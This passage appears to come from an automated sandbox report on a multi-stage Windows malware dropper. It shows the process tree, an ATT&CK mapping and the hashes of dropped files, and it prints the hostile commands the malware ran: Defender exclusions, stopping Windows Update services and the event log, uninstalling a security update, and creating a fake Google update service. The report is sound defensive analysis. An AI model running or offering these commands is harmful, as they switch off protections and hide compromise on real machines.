PID 3388 wrote to memory of 1968	3388	sysarddrvs.exe	108
PID 3388 wrote to memory of 3492	3388	sysarddrvs.exe	110
PID 3388 wrote to memory of 3492	3388	sysarddrvs.exe	110
PID 3388 wrote to memory of 3492	3388	sysarddrvs.exe	110
PID 1968 wrote to memory of 2164	1968	cmd.exe	112
PID 1968 wrote to memory of 2164	1968	cmd.exe	112
PID 1968 wrote to memory of 2164	1968	cmd.exe	112
PID 3492 wrote to memory of 4424	3492	cmd.exe	113
PID 3492 wrote to memory of 4424	3492	cmd.exe	113
PID 3492 wrote to memory of 4424	3492	cmd.exe	113
PID 3492 wrote to memory of 1088	3492	cmd.exe	114
PID 3492 wrote to memory of 1088	3492	cmd.exe	114
PID 3492 wrote to memory of 1088	3492	cmd.exe	114
PID 3492 wrote to memory of 5044	3492	cmd.exe	115
PID 3492 wrote to memory of 5044	3492	cmd.exe	115
PID 3492 wrote to memory of 5044	3492	cmd.exe	115
PID 3492 wrote to memory of 5028	3492	cmd.exe	116
PID 3492 wrote to memory of 5028	3492	cmd.exe	116
PID 3492 wrote to memory of 5028	3492	cmd.exe	116
PID 3492 wrote to memory of 2140	3492	cmd.exe	117
PID 3492 wrote to memory of 2140	3492	cmd.exe	117
PID 3492 wrote to memory of 2140	3492	cmd.exe	117
PID 3200 wrote to memory of 4840	3200	4363463463464363463463463.exe(4).exe	122
PID 3200 wrote to memory of 4840	3200	4363463463464363463463463.exe(4).exe	122
PID 3200 wrote to memory of 4840	3200	4363463463464363463463463.exe(4).exe	122
PID 3200 wrote to memory of 5052	3200	4363463463464363463463463.exe(4).exe	123
PID 3200 wrote to memory of 5052	3200	4363463463464363463463463.exe(4).exe	123
PID 2196 wrote to memory of 3800	2196	cmd.exe	137
PID 2196 wrote to memory of 3800	2196	cmd.exe	137
PID 3788 wrote to memory of 3936	3788	cmd.exe	169
PID 3788 wrote to memory of 3936	3788	cmd.exe	169
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 3288	2372	Updater.exe	183
PID 2372 wrote to memory of 2604	2372	Updater.exe	187
PID 2372 wrote to memory of 2604	2372	Updater.exe	187
PID 2372 wrote to memory of 2604	2372	Updater.exe	187
PID 2372 wrote to memory of 2604	2372	Updater.exe	187
PID 2372 wrote to memory of 2604	2372	Updater.exe	187
PID 3200 wrote to memory of 3724	3200	4363463463464363463463463.exe(4).exe	192
PID 3200 wrote to memory of 3724	3200	4363463463464363463463463.exe(4).exe	192
PID 3200 wrote to memory of 3724	3200	4363463463464363463463463.exe(4).exe	192
PID 3200 wrote to memory of 4084	3200	4363463463464363463463463.exe(4).exe	193
PID 3200 wrote to memory of 4084	3200	4363463463464363463463463.exe(4).exe	193
PID 3200 wrote to memory of 4084	3200	4363463463464363463463463.exe(4).exe	193
PID 3724 wrote to memory of 3736	3724	SmartPlayer.exe	194
PID 3724 wrote to memory of 3736	3724	SmartPlayer.exe	194

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe(4).exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe(4).exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Users\Admin\AppData\Local\Temp\Files\backd00rhome.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\backd00rhome.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3672
- C:\Users\Admin\AppData\Local\Temp\Files\11.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\11.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\sysarddrvs.exe
    C:\Windows\sysarddrvs.exe
    3⤵
    - Modifies security service
    - Windows security bypass
    - Checks computer location settings
    - Executes dropped EXE
    - Windows security modification
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3492
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4424
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1088
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5044
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5028
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2140
- C:\Users\Admin\AppData\Local\Temp\Files\clitoritissR.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\clitoritissR.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4840
- C:\Users\Admin\AppData\Local\Temp\Files\NewApp.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\NewApp.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5052
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3800
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2748
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1996
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1680
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:4168
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1908
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1844
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
    3⤵
    - Launches sc.exe
    PID:2552
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:5068
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3536
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
    3⤵
    - Launches sc.exe
    PID:2348
- C:\Users\Admin\AppData\Local\Temp\Files\SmartPlayer.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\SmartPlayer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Users\Admin\AppData\Roaming\SPTemp\SmartPlayer.exe
    "C:\Users\Admin\AppData\Roaming\SPTemp\SmartPlayer.exe" C:\Users\Admin\AppData\Local\Temp\Files
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:3736
- C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4084
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4084 -s 232
    3⤵
    - Program crash
    PID:2080
- C:\Users\Admin\AppData\Local\Temp\Files\Session.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Session.exe"
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Users\Admin\AppData\Local\Temp\Files\a14.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\a14.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2420
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell" –NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\815B.tmp\815C.tmp\815D.ps1
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3788
  - - C:\Users\Admin\AppData\Local\Temp\a13.exe
      "C:\Users\Admin\AppData\Local\Temp\a13.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1176
    - - C:\Users\Admin\AppData\Local\Temp\A3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\A3.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2616
      - C:\Users\Admin\AppData\Local\Temp\A3.exe
        
        C:\Users\Admin\AppData\Local\Temp\A3.exe
        6⤵
        Executes dropped EXE
        
        PID:3184
      - C:\Users\Admin\AppData\Local\Temp\A3.exe
        
        C:\Users\Admin\AppData\Local\Temp\A3.exe
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:1172
        
        \??\c:\users\admin\appdata\local\temp\a3.exe
        
        c:\users\admin\appdata\local\temp\a3.exe
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:1768
        
        C:\Windows\Resources\Themes\icsys.icn.exe
        
        C:\Windows\Resources\Themes\icsys.icn.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3196
- C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3228
- - C:\Windows\sysmablsvr.exe
    C:\Windows\sysmablsvr.exe
    3⤵
    - Windows security bypass
    - Executes dropped EXE
    - Windows security modification
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:1512
- C:\Users\Admin\AppData\Local\Temp\Files\evetbeta.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\evetbeta.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1924

C:\ProgramData\GoogleUP\Chrome\Updater.exe
C:\ProgramData\GoogleUP\Chrome\Updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2332
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4628
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3184
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3616
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4252
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4204
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3872
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:3288
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4084 -ip 4084
1⤵
PID:3676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
a5f6c631d31c3b6a46b12d428ccb600c

SHA1
1a11d7123193871704bc2cf26e96911639bcf447

SHA256
c26a6d7d885bb2a355809c6684937ad05498c8717b76b981a43329f814a609df

SHA512
5e7c3ac2f0bb6ca7141834e2fe93605b65044e84dc4e3d796b73adc6901f74dfa7caa6f187da16866d9d2c338c52074530ff44123ea4e62c1adbda38cf5baadf

Download Submit
C:\Users\Admin\AppData\Local\Temp\311054877.exe

Filesize
108KB

MD5
1fcb78fb6cf9720e9d9494c42142d885

SHA1
fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

SHA256
84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

SHA512
cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

Download Submit
C:\Users\Admin\AppData\Local\Temp\A3.exe

Filesize
5.8MB

MD5
1392bfc8f059d959b5b251d3d651dedb

SHA1
1bb03d893222f35dd2f816eb65b2481a677d11d8

SHA256
14af32f4c3f443d9203726cfca49e18bba8f248561863410fefffad41b47a32b

SHA512
30398215e0805222f9ec895cda09f8625e8a881ce334348f4d85ca9f0d4f4cef4c9b05c50f88d594c7b96a11200d8fa5018ed7342a3e0e3a54db14625ae673ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\11.exe

Filesize
79KB

MD5
e2e3268f813a0c5128ff8347cbaa58c8

SHA1
4952cbfbdec300c048808d79ee431972b8a7ba84

SHA256
d8b83f78ed905a7948e2e1e371f0f905bcaaabbb314c692fee408a454f8338a3

SHA512
cb5aeda8378a9a5470f33f2b70c22e77d2df97b162ba953eb16da085b3c434be31a5997eac11501db0cb612cdb30fa9045719fcd10c7227c56cc782558e0c3bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\NewApp.exe

Filesize
5.8MB

MD5
190e68a764f232fa236a23317f80892b

SHA1
a37b9e226334bc69abaacb539fb7ba9722831a76

SHA256
a074f13421954fe7e4a87b68d23179df440cc15b0aa3019752fdbece9379d9e7

SHA512
34c5d7d35a639a2c6ea183ad808a10bc0adaebf806975f6949da119c1d90c50f065b3d238a0bd6b7159394fe39a0322590fe229cae73f7c9cc393e721449c0a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Session.exe

Filesize
19KB

MD5
370dcc1d0729d93d08255de011febaa4

SHA1
12462b20ff78fa8bc714c02fe6b4427d7b82842d

SHA256
722359ebd46ace2d25802959791ae3f6af433451d81b915cdb72890cbba357ef

SHA512
3e43839663825a4c4ee1ca8f81beda5b142539dc559e89df41bc24cedeaa9e58d85d326b47e24bf0a3cf08f9f64683c527e7867901ae979ef81efc9112df133c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\SmartPlayer.exe

Filesize
2.2MB

MD5
23472f2189b3dde069ffb527a84e3668

SHA1
51ce355914ebeb90892437832862140a0c991f1f

SHA256
1c03b7adaaf5c03a970ab75ba103feb8231920ddef9736950d390bf0c6fcbc20

SHA512
a88c136c6914b082f03becb71c842b91201c78e8c92afd8e06e2f782a869b1bfa3951c0c4db89c73b5f706c1e06495bdc10f2a7c5300a0e29ad64a20656aafaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe

Filesize
2.5MB

MD5
dba7abdb1d2ada8cb51d1c258b1b3531

SHA1
fa18a0affb277c99e71253bca5834e6fe6cd7135

SHA256
3d0a544073fc4c02d5634bd33f76f9dae07d9a325340ed747bcfde51ea52e23f

SHA512
0491865151140a5252a87a771f6552fd527fae3dec3c43ca0b806702e7ad4953b7d16bd1d8f275828f8b094bc337f79ed5c298beed4ec99186e4f4c3bd3cdf2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\a14.exe

Filesize
85KB

MD5
6917037b3307cd41e28175a327299d4d

SHA1
fa814d1d43b2031ba7b2464de255a5837692fd0c

SHA256
9fa501e984cc0d7c2c178af9e7c8a3c93f0bfc7ba6075c93f216249ee327e2ed

SHA512
bd5fdefacbbdd46f780ec5fefbb129c2a5ee376dca00a57dea5c18781ae519e63c9adb957ee066842d416f7f467ff32e91267e99456acc3e76e710b58f722cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\backd00rhome.exe

Filesize
72KB

MD5
ef397426691bc35566bc401598e10d60

SHA1
40ac43354d2ea80706dae6a60ce5cb668ba35514

SHA256
ec34977344bded135083b97756df058d33565bb80a1ab48cccb82999a6b340cf

SHA512
023009d6a0b923d582a84a6db93b4b4a5c8017ef2217937490e83df801c56b12a962ba88ec4f28bb1fc2aee7ad393d8c93bd097e27b969f061876ac85339e746

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\clitoritissR.exe

Filesize
189KB

MD5
03b6be8fed80988489e171c7092d9541

SHA1
acb6110dfcf13ad3b55d3017fd2ace13b55e4d11

SHA256
e66fe85a6a0b7c2dd85c4e8d884832f5b358de27f77b64ee6673ed1b7acd1d96

SHA512
e8dcde11a8d68f16e76b4da2a3457a738bb204be51fd83aa947dc4eb082a957f127b1198ac6cdc8ec6d0c089266d687ac48e613a5c7b7f7b5bb614e442402552

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\evetbeta.exe

Filesize
92KB

MD5
6f6137e6f85dc8dac7ff87ca4c86af4c

SHA1
fc047ad39f8f2f57fa6049e1883ccab24bea8f82

SHA256
a370eacabf4af9caa5502c39b40c95eda6be23666231e24da1b56277a222f3e9

SHA512
2a3d60bac0a40730b49d361d13000115539c448ef1ecbbffafa22ebe78fc9009db0846e84e7f3c3526d22d5531cedddae8fae7678f453e48876581824cd9dea4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\tt.exe

Filesize
88KB

MD5
ababca6d12d96e8dd2f1d7114b406fae

SHA1
dcd9798e83ec688aacb3de8911492a232cb41a32

SHA256
a992920e64a64763f3dd8c2a431a0f5e56e5b3782a1496de92bc80ee71cca5ba

SHA512
b7fc70c176bdc74cf68b14e694f3e53142e64d39bd6d3e0f2e3a74ce3178ea606f92f760d21db69d72ae6677545a47c7bf390fb65cd5247a48e239f6ae8f7b8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_it4pcqnx.tiw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a13.exe

Filesize
6.0MB

MD5
1259ce3bb6ed185c5d186baab1a42d13

SHA1
095bdfbd41048fc711f633d4f046a2e93f6b7c77

SHA256
89c52c25de71a058d6620ede4d86483696bf54d35574281ad74667470ea3d6f6

SHA512
f31386d92127e85c8c9d6b4d4824f5b650c25baa097eb7622177487740cba77eb9ea664b4732b33a6cfe077fc20cfde84c217b13d5da66a4a75cc0d03f797e69

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Config\config.xml

Filesize
195B

MD5
c0e6efae18bb3c023b0c8ee5ed8db368

SHA1
b58f07cc134b41db881ba8ab58545db42b2aef73

SHA256
b19c4020255de091a2cdf594b82d36e4de9c1a8d297ba099a7056b526e9b896b

SHA512
91896b798064c34d818d8dfcdf2536ab8b99978e144f7c586bac3c7592048a5bc8b11d8b56f24c0629cc9a54fdf1173c257da36147b513938660f717a504d8aa

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\IvsDrawer.dll

Filesize
428KB

MD5
493617737d5587574933f3c9d8aefba2

SHA1
a56e6f8c7a72ffdee4dc5e1669ff0841bf85a5bd

SHA256
014ab931cf4a97aae30c6843e690ecbb632c2aef67824dc2c46473591823debc

SHA512
f205f27247685725c807c1f779285efa367363c75d272ab2e61383db8f2f248715f3dd58129be3dbd82035e70de5c99901725e06485982f09ab0cd760288f914

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Lang_0.xml

Filesize
1KB

MD5
4cd37c04dd00781343e50be238837b9b

SHA1
788f433028157c4573f4706d3165522dfe6e8985

SHA256
e97d6f5c7535d2e1065c0b6fdf2655a619bd4b65afa41d5d39885b0e654ce0b2

SHA512
360721b305f4860bd20dbae1f72b650255724c11fe3069aff7cd93dee41c9f6c12ab313da3ca73d7910d86369b7aba689ff64cf141f910a99e4bf8711b353570

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\PlayModule.dll

Filesize
120KB

MD5
ddb53748213a4552dbeadb0d7823f0a5

SHA1
97ca5912406ffc371d8e41b27151982dea68668a

SHA256
74de688b5cc7f9f44b2ee33061902384aeee0a9a1f7deaa673c566f1bb2e3334

SHA512
4509fe1e586ab0c38c257e05bc7482f88d67d4fc736311d43b83e57f66e22a8eab4f1daf2d7294d18ad13fa97ca304b1eae4450ef4bf6707787f8c971462c28a

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\SF_UIBase_R.dll

Filesize
724KB

MD5
44526398fb6d0a2011e450dc289c6cc3

SHA1
3b320ee9bc793bb1a4347f5ff1be75bf9c9f62c1

SHA256
fe65b2d4099a80eb614f9e6628d4ad5934055073d32e4abf85863f5f48509f57

SHA512
67150170102f74dfe14b60443d1dc7b3e1b294ae3893aa962b16ac8322c2c7f2239afa8e243a12e47e327d4def463cc972228a40b00fe8cc32440e4f6e08b983

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Skin\FrameMain.png

Filesize
547B

MD5
7a23fd2600c0842417c4930160fc49dc

SHA1
a5e89dbf267e61f86af0e184f9550681abd8b246

SHA256
ebbc50a53552a1db6319bd08c55e5f271a412269bebdf1c53b399a832c54e199

SHA512
fcf222bfe0d3624119d7e545863775a7ec3c61969fae065f7dbd0d328ff08ace5be7e61cb3097b4eb40f6b224f4b1c0ce9657d8e7c32b1cab1d343f47b295664

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Skin\bg_filelisttitle.png

Filesize
389B

MD5
9a742979b291fc7e4beab9319b5c1462

SHA1
619f2c6138a934115be7f517575c2f300e529260

SHA256
024d759d6adc6be3467747f56d68dae765c5e8bccb96319cae5ee85406354fde

SHA512
b59ef0e475767d82a7329748633ddfe07ced98b656c1e9e6916d9d8996b9f9326a09d22740f0e6057efb1d1d33eb1c5939f96244cd02aeaf011cb720db48d8fa

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Skin\bg_monitor.png

Filesize
77B

MD5
10fc711d6064cc815b8fd8d4f798a015

SHA1
f06d826040d7b1f0ebd0bd6d54b97e651cfe4641

SHA256
8b85e5c405b63d5d9dad299dc1ddbaef7226114c964233d17765cb32efb4d23c

SHA512
fcce89c13cacc76d8ef2e522a8afb72ff3afdf9eb6b36084b04c6bf35741052742f254c3c89314276fae94483eaaeaf580931b2a1b30bd83668391c9d7f24e0c

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Skin\bg_tabbar.png

Filesize
77B

MD5
2b9c8c7df76186d5cae41c6f739ad9bf

SHA1
0b07959ae4b221d570acaaeaf7a86eb154167964

SHA256
66756117995117e29abfffac6e3704eaa25408f3413d663186546022c468f33e

SHA512
9bf2f75dd459e14e9d5eadee3a9d5155fac96d93eae5176f470e24da51ca01e2143316384d2edd2c7febd4ae5f176fc4f0a8647b974270fb945a2b135ba96fbd

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Skin\bg_toolbar.png

Filesize
122B

MD5
c29fe7bfdea70172872b7b44db7bfa0b

SHA1
41bd4d81ab5ef87f193dfdbfc298a9d43be3b0df

SHA256
75cda4d81e888033d08a32ba989d6725a4e8a113ac11801f166143fd5b07c4c8

SHA512
2a14b17e5bffa1478e56a4607393fa988bae5ce41bd98df08bce8e4a0fb0eb553f5f029b28cca6f5e90a6751955c42a299f90dca74c0e7500539c47011d81881

Download Submit
C:\Users\Admin\AppData\Roaming\SPTemp\Skin\btn_addfiledown.png

Filesize
1KB

MD5
4e3b00cb070d2e40967a89fe6c829bc9

SHA1
ad35cd40c93f94bd9761dbc83c9e5a57b068e6be

SHA256
b21f6662d5ed8c8f68939e9d8c9c477fcbb0500701e3ba6443edad5d04a610fa

SHA512
